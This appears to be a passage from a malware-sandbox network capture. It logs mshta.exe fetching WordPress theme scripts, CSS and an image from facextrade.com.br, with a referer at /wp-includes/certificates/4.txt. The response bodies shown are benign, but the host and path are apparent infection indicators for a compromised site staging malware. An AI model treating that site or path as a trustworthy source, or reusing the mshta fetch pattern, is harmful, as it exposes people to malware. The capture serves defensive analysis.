64 20 54 68 65 6d 65 73 20 6d 61 79 20 62 65 0d 0a 20 20 20 20 20 2a 20 70 72 61 63 74 69 73 69 6e 67 20 74 68 69 73 2c 20 77 65 20 73 68 6f 75 6c 64 20 73 74 72 69 76 65 20 74 6f 20 73 65 74 20 61 20 62 65 74 74 65 72 20 65 78 61 6d 70 6c 65 20 69 6e 20 6f 75 72 20 6f 77 6e 20 77 6f 72 6b 2e 0d 0a 20 20 20 20 20 2a 2f 0d 0a 0d 0a 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 0d 0a 20 20 20 20 Data Ascii: (function() { 'use strict'; /** * All of the code for your public-facing JavaScript source * should reside in this file. * * Note: It has been assumed you will write jQuery code here, so the * $ function reference has been prepared for usage within the scope * of this function. * * This enables you to define handlers, for when the DOM is ready: * * $(function() { * * }); * * When the window is loaded: * * $( window ).load(function() { * * }); * * ...and/or other possibilities. * * Ideally, it is not considered best practise to attach more than a * single DOM-ready or window-load handler for a particular page. * Although scripts in the WordPress core, Plugins and Themes may be * practising this, we should strive to set a better example in our own work. */ jQuery(document).ready(function($) {
Aug 16, 2022 11:53:29.139156103 CEST	1160	OUT	GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:29.351000071 CEST	1173	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:01 GMT Server: Apache ETag: "a52fb8-7054-58592f4b86d40" Last-Modified: Tue, 02 Apr 2019 21:38:21 GMT Content-Length: 28756 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 16866414 18765980 Age: 28 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 0a 2a 20 42 6f 6f 74 73 74 72 61 70 2e 6a 73 20 62 79 20 40 66 61 74 20 26 20 40 6d 64 6f 0a 2a 20 70 6c 75 67 69 6e 73 3a 20 62 6f 6f 74 73 74 72 61 70 2d 74 72 61 6e 73 69 74 69 6f 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 6d 6f 64 61 6c 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 64 72 6f 70 64 6f 77 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 73 63 72 6f 6c 6c 73 70 79 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 61 62 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 6f 6f 6c 74 69 70 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 70 6f 70 6f 76 65 72 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 61 66 66 69 78 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 61 6c 65 72 74 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 62 75 74 74 6f 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 63 6f 6c 6c 61 70 73 65 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 63 61 72 6f 75 73 65 6c 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 79 70 65 61 68 65 61 64 2e 6a 73 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4c 49 43 45 4e 53 45 2d 32 2e 30 2e 74 78 74 0a 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 73 75 70 70 6f 72 74 2e 74 72 61 6e 73 69 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 62 6f 6f 74 73 74 72 61 70 22 29 2c 62 3d 7b 57 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 3a 22 77 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 4d 6f 7a 54 72 61 6e 73 69 74 69 6f 6e 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 4f 54 72 61 6e 73 69 74 69 6f 6e 3a 22 6f 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 20 6f 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 74 72 61 6e 73 69 74 69 6f 6e 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 7d 2c 63 3b 66 6f 72 28 63 20 69 6e 20 62 29 69 66 28 61 2e 73 74 79 6c 65 5b 63 5d 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 72 65 74 75 72 6e 20 62 5b 63 5d 7d 28 29 3b 72 65 74 75 72 6e 20 61 26 26 7b 65 6e 64 3a 61 7d 7d 28 29 7d 29 7d 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 2c 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 63 2c 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 3d 61 28 62 29 2e 64 65 6c 65 67 61 74 65 28 27 5b 64 61 74 61 2d 64 69 73 6d 69 73 73 3d 22 6d 6f 64 61 6c 22 5d 27 2c 22 63 6c 69 63 6b 2e 64 69 73 6d 69 73 73 2e 6d 6f 64 61 6c 22 2c 61 2e 70 72 6f 78 79 28 74 68 69 73 2e 68 69 64 65 2c 74 68 69 73 29 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 74 65 26 26 74 68 69 73 2e 24 65 6c 65 6d 65 6e Data Ascii: /*** Bootstrap.js by @fat & @mdo* plugins: bootstrap-transition.js, bootstrap-modal.js, bootstrap-dropdown.js, bootstrap-scrollspy.js, bootstrap-tab.js, bootstrap-tooltip.js, bootstrap-popover.js, bootstrap-affix.js, bootstrap-alert.js, bootstrap-button.js, bootstrap-collapse.js, bootstrap-carousel.js, bootstrap-typeahead.js* Copyright 2012 Twitter, Inc.* http://www.apache.org/licenses/LICENSE-2.0.txt*/!function(a){a(function(){a.support.transition=function(){var a=function(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},c;for(c in b)if(a.style[c]!==undefined)return b[c]}();return a&&{end:a}}()})}(window.jQuery),!function(a){var b=function(b,c){this.options=c,this.$element=a(b).delegate('[data-dismiss="modal"]',"click.dismiss.modal",a.proxy(this.hide,this)),this.options.remote&&this.$elemen
Aug 16, 2022 11:53:29.354790926 CEST	1203	OUT	GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:29.568691969 CEST	1218	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:59 GMT Server: Apache ETag: "a5353d-4343-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 17219 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 16866415 21588055 Age: 510 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 77 69 6e 64 6f 77 2e 64 65 66 69 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 2e 70 6f 70 28 29 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 7d 3b 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 2e 63 6c 65 61 6e 44 61 74 61 29 7b 76 61 72 20 63 3d 61 2e 63 6c 65 61 6e 44 61 74 61 3b 61 2e 63 6c 65 61 6e 44 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 3b 28 65 3d 62 5b 64 5d 29 21 3d 6e 75 6c 6c 3b 64 2b 2b 29 7b 61 28 65 29 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 72 65 6d 6f 76 65 22 29 7d 63 28 62 29 7d 7d 65 6c 73 65 7b 76 61 72 20 64 3d 61 2e 66 6e 2e 72 65 6d 6f 76 65 3b 61 2e 66 6e 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 63 29 7b 69 66 28 21 62 7c 7c 61 2e 66 69 6c 74 65 72 28 62 2c 5b 74 68 69 73 5d 29 2e 6c 65 6e 67 74 68 29 7b 61 28 22 2a 22 2c 74 68 69 73 29 2e 61 64 64 28 5b 74 68 69 73 5d 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 28 74 68 69 73 29 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 72 65 6d 6f 76 65 22 29 7d 29 7d 7d 72 65 74 75 72 6e 20 64 2e 63 61 6c 6c 28 61 28 74 68 69 73 29 2c 62 2c 63 29 7d 29 7d 7d 61 2e 77 69 64 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 76 61 72 20 65 3d 62 2e 73 70 6c 69 74 28 22 2e 22 29 5b 30 5d 2c 66 3b 62 3d 62 2e 73 70 6c 69 74 28 22 2e 22 29 5b 31 5d 3b 66 3d 65 2b 22 2d 22 2b 62 3b 69 66 28 21 64 29 7b 64 3d 63 3b 63 3d 61 2e 57 69 64 67 65 74 7d 61 2e 65 78 70 72 5b 22 3a 22 5d 5b 66 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 21 21 61 2e 64 61 74 61 28 63 2c 62 29 7d 3b 61 5b 65 5d 3d 61 5b 65 5d 7c 7c 7b 7d 3b 61 5b 65 5d 5b 62 5d 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 74 68 69 73 2e 5f 63 72 65 61 74 65 57 69 64 67 65 74 28 61 2c 62 29 7d 7d 3b 76 61 72 20 67 3d 6e 65 77 20 63 3b 67 2e 6f 70 74 69 6f 6e 73 3d 61 2e 65 78 74 65 6e 64 28 74 72 75 65 2c 7b 7d 2c 67 2e 6f 70 74 69 6f 6e 73 29 3b 61 5b 65 5d 5b 62 5d 2e 70 72 6f 74 6f 74 79 70 65 3d 61 2e 65 78 74 65 6e 64 28 74 72 75 65 2c 67 2c 7b 6e 61 6d 65 73 70 61 63 65 3a 65 2c 77 69 64 67 65 74 4e 61 6d 65 3a 62 2c 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 69 78 3a 61 5b 65 5d 5b 62 5d 2e 70 72 6f 74 6f 74 79 70 65 2e 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 69 78 7c 7c 62 2c 77 69 64 67 65 74 42 61 73 65 43 6c 61 73 73 3a 66 7d 2c 64 29 3b 61 2e 77 69 64 67 65 74 2e 62 72 69 64 67 65 28 62 2c 61 5b 65 5d 5b 62 5d 29 7d 3b 61 2e 77 69 64 67 65 74 2e 62 72 69 64 67 65 3d 66 Data Ascii: window.define=function(){Array.prototype.slice.call(arguments).pop()(window.jQuery)};define(["jquery"],function(a){(function(a,b){if(a.cleanData){var c=a.cleanData;a.cleanData=function(b){for(var d=0,e;(e=b[d])!=null;d++){a(e).triggerHandler("remove")}c(b)}}else{var d=a.fn.remove;a.fn.remove=function(b,c){return this.each(function(){if(!c){if(!b\|\|a.filter(b,[this]).length){a("*",this).add([this]).each(function(){a(this).triggerHandler("remove")})}}return d.call(a(this),b,c)})}}a.widget=function(b,c,d){var e=b.split(".")[0],f;b=b.split(".")[1];f=e+"-"+b;if(!d){d=c;c=a.Widget}a.expr[":"][f]=function(c){return!!a.data(c,b)};a[e]=a[e]\|\|{};a[e][b]=function(a,b){if(arguments.length){this._createWidget(a,b)}};var g=new c;g.options=a.extend(true,{},g.options);a[e][b].prototype=a.extend(true,g,{namespace:e,widgetName:b,widgetEventPrefix:a[e][b].prototype.widgetEventPrefix\|\|b,widgetBaseClass:f},d);a.widget.bridge(b,a[e][b])};a.widget.bridge=f
Aug 16, 2022 11:53:29.573340893 CEST	1236	OUT	GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:29.785022974 CEST	1240	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:57 GMT Server: Apache ETag: "a534b4-1b97-58592d4796c00" Last-Modified: Tue, 02 Apr 2019 21:29:20 GMT Content-Length: 7063 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 16866416 20836427 Age: 212 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 64 6f 63 75 6d 65 6e 74 20 72 65 61 64 79 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 42 6c 6f 67 20 6d 61 73 6f 6e 72 79 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 69 66 28 6a 51 75 65 72 79 28 27 62 6f 64 79 2e 62 6c 6f 67 27 29 5b 30 5d 29 7b 0a 09 09 76 61 72 20 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 20 3d 20 6a 51 75 65 72 79 28 27 2e 69 73 6f 74 6f 70 65 27 29 3b 0a 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 6d 61 67 65 73 4c 6f 61 64 65 64 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 73 6f 74 6f 70 65 28 7b 0a 09 09 09 09 69 74 65 6d 53 65 6c 65 63 74 6f 72 20 3a 20 27 2e 70 6f 73 74 5f 77 72 61 70 70 65 72 27 2c 0a 09 09 09 09 68 69 64 64 65 6e 43 6c 61 73 73 20 3a 20 27 68 69 64 64 65 6e 27 2c 0a 09 09 09 09 72 65 73 69 7a 61 62 6c 65 20 3a 20 74 72 75 65 2c 0a 09 09 09 09 74 72 61 6e 73 66 6f 72 6d 73 45 6e 61 62 6c 65 64 20 3a 20 66 61 6c 73 65 2c 0a 09 09 09 09 6c 61 79 6f 75 74 4d 6f 64 65 3a 20 27 6d 61 73 6f 6e 72 79 27 0a 09 09 09 7d 29 2e 62 69 6e 64 28 22 72 65 73 69 7a 65 2e 72 61 69 6e 62 6f 77 73 22 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 73 6f 74 6f 70 65 28 27 72 65 4c 61 79 6f 75 74 27 29 3b 0a 09 09 09 7d 29 2e 74 72 69 67 67 65 72 28 22 72 65 73 69 7a 65 2e 72 61 69 6e 62 6f 77 73 22 29 2e 63 73 73 28 7b 27 76 69 73 69 62 69 6c 69 74 79 27 3a 27 76 69 73 69 62 6c 65 27 7d 29 3b 0a 09 09 7d 29 3b 0a 09 7d 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 43 61 6c 6c 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 6a 51 75 65 72 79 28 22 2e 74 68 75 6d 62 6e 61 69 6c 22 29 2e 70 61 72 65 6e 74 28 29 Data Ascii: // ---------------------------------------------------------// !!!!!!!!!!!!!!!!!document ready!!!!!!!!!!!!!!!!!!!!!!!!!!// ---------------------------------------------------------jQuery(document).ready(function(){// ---------------------------------------------------------// Blog masonry// ---------------------------------------------------------if(jQuery('body.blog')[0]){var isotope_holder = jQuery('.isotope');isotope_holder.imagesLoaded( function() {isotope_holder.isotope({itemSelector : '.post_wrapper',hiddenClass : 'hidden',resizable : true,transformsEnabled : false,layoutMode: 'masonry'}).bind("resize.rainbows", function(){isotope_holder.isotope('reLayout');}).trigger("resize.rainbows").css({'visibility':'visible'});});}// ---------------------------------------------------------// Call Magnific Popup// ---------------------------------------------------------jQuery(".thumbnail").parent()
Aug 16, 2022 11:53:29.790364027 CEST	1246	OUT	GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:30.002981901 CEST	1272	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:45:00 GMT Server: Apache ETag: "a508ae-2af-5c93d38583b98" Last-Modified: Tue, 10 Aug 2021 23:54:19 GMT Content-Length: 687 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 16866418 21588057 Age: 510 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 20 63 48 52 4d 00 00 7a 25 00 00 80 83 00 00 f9 ff 00 00 80 e9 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f c5 46 00 00 02 35 49 44 41 54 78 da a4 93 4b 48 54 61 18 86 9f ff 9c a3 73 9c 71 9c 46 87 69 6c 2a 24 45 85 49 a6 8c 88 dc b6 69 53 64 b4 ef b2 aa 2c a4 65 50 46 3b 77 81 8b 16 ad 82 68 57 b6 8a 88 10 91 86 26 cc 10 25 1a ac c6 b2 1a e7 e2 05 cd b9 9c cb 9c f3 b7 11 b5 cb 46 fc 36 df e2 fd 78 78 f9 78 5f 21 a5 64 27 23 80 5a a0 7e 7d 6f 67 2c a0 a8 01 81 b3 cf ee 14 fe 56 25 60 3a 0a 20 f0 28 0e 42 fc 4b 18 ee bd 1b d6 00 9f e3 3a c4 c3 ad 1b 82 2d 15 14 24 c7 23 cb 28 42 f2 26 d7 44 d5 15 d4 2a ee c6 cd 54 21 0d e0 d3 00 d5 76 1d d6 ac 32 8b 95 22 86 a3 d2 16 58 e3 cc be 3c 4d a6 00 09 91 e8 67 86 7f ee 26 b5 e4 a7 4e 73 68 aa ab c7 76 1d 00 55 03 30 6d 8b 42 b9 42 d1 2a d1 db 92 e5 74 74 89 a1 c7 3d 8c be db 03 55 49 77 57 96 9b 17 93 bc 6a 08 f2 24 dd 8c 23 55 4c db 02 40 03 28 1b 26 91 70 8e f3 b1 0f 74 45 f2 bc 48 9e 62 b6 12 e7 58 0f e4 97 4a 8c bc df 4f d0 3b cf ed fe 31 ba 77 7d e7 61 fa 20 b3 0b 5b 00 2d 9e 45 06 e2 53 34 e8 05 b0 55 ee 3f 2a 32 3a 91 c2 1f 74 69 8e 7a d9 db 11 e0 47 29 4c 75 25 43 67 e8 1b 03 fe 39 ae 2d c4 49 02 0a c0 64 41 e5 72 22 c6 e4 7c 23 e8 15 0e 75 64 70 ab 1e 4a e5 2a 5f 66 7e 31 fa 7c 85 c3 07 f2 68 81 32 1f 73 01 fa 12 31 92 59 6d d3 81 69 18 bc ce 35 90 c8 1e e1 6a ec 2b 57 ce bd 65 7a 26 c4 cb 64 1b a8 0a 27 8e 7e e2 64 f7 53 86 26 da b9 37 dd 8a 8d 8f 5a 63 75 13 60 19 06 5e c5 4b b9 2a 18 9c 6c 67 64 3e c4 8d fe 31 6e 5d 48 80 14 ac 06 2d ae a7 62 24 32 21 7c 35 55 7c 9a 4d d9 30 b6 38 b0 2c 74 24 ba a6 a2 6b 92 d4 72 88 be f1 46 2e 75 ce e1 a9 71 79 30 de 42 c5 56 09 d5 39 80 8a 8b c4 b4 36 9f 68 49 c7 65 25 9d fd 23 65 15 60 70 46 07 40 57 73 08 21 31 ff 13 67 01 04 80 28 e0 df 66 17 d6 80 8c 00 d4 f5 22 a9 db 04 38 80 25 76 5a e7 df 03 00 ff a6 e7 ee 3e 29 e0 82 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRapHYs cHRMz%u0`:o_F5IDATxKHTasqFil$EIiSd,ePF;whW&%F6xxx_!d'#Z~}og,V%`: (BK:-$#(B&DT!v2"X<Mg&NshvU0mBBtt=UIwWj$#UL@(&ptEHbXJO;1w}a [-ES4U?2:tizG)Lu%Cg9-IdAr"\|#udpJ_f~1\|h2s1Ymi5j+Wez&d'~dS&7Zcu`^Klgd>1n]H-b$2!\|5U\|M08,t$krF.uqy0BV96hIe%#e`pF@Ws!1g(f"8%vZ>)IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.22	49197	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:28.242379904 CEST	983	OUT	GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:28.453900099 CEST	998	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:00 GMT Server: Apache ETag: "a53047-101d2-58592d3578140" Last-Modified: Tue, 02 Apr 2019 21:29:01 GMT Content-Length: 66002 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383662 20836450 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 62 6f 64 79 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 20 7d 0a 2e 69 65 38 20 62 6f 64 79 20 7b 20 6d 69 6e 2d 77 69 64 74 68 3a 39 38 30 70 78 3b 20 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 7b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 68 65 61 64 65 72 2c 20 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 63 6f 6e 74 65 6e 74 2d 68 6f 6c 64 65 72 2c 20 62 6f 64 79 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 66 6f 6f 74 65 72 20 7b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 0a 09 7d 0a 7d 0a 62 6f 64 79 5b 63 6c 61 73 73 2a 3d 22 73 70 61 6e 22 5d 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 73 74 61 74 69 63 3b 0a 09 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 69 6e 68 65 72 69 74 3b 0a 7d 0a 61 20 7b 20 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 20 7d 0a 61 3a 66 6f 63 75 73 20 7b 20 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 20 7d 0a 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 31 3b 0a 7d 0a 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 39 38 30 70 78 3b 0a 09 77 69 64 74 68 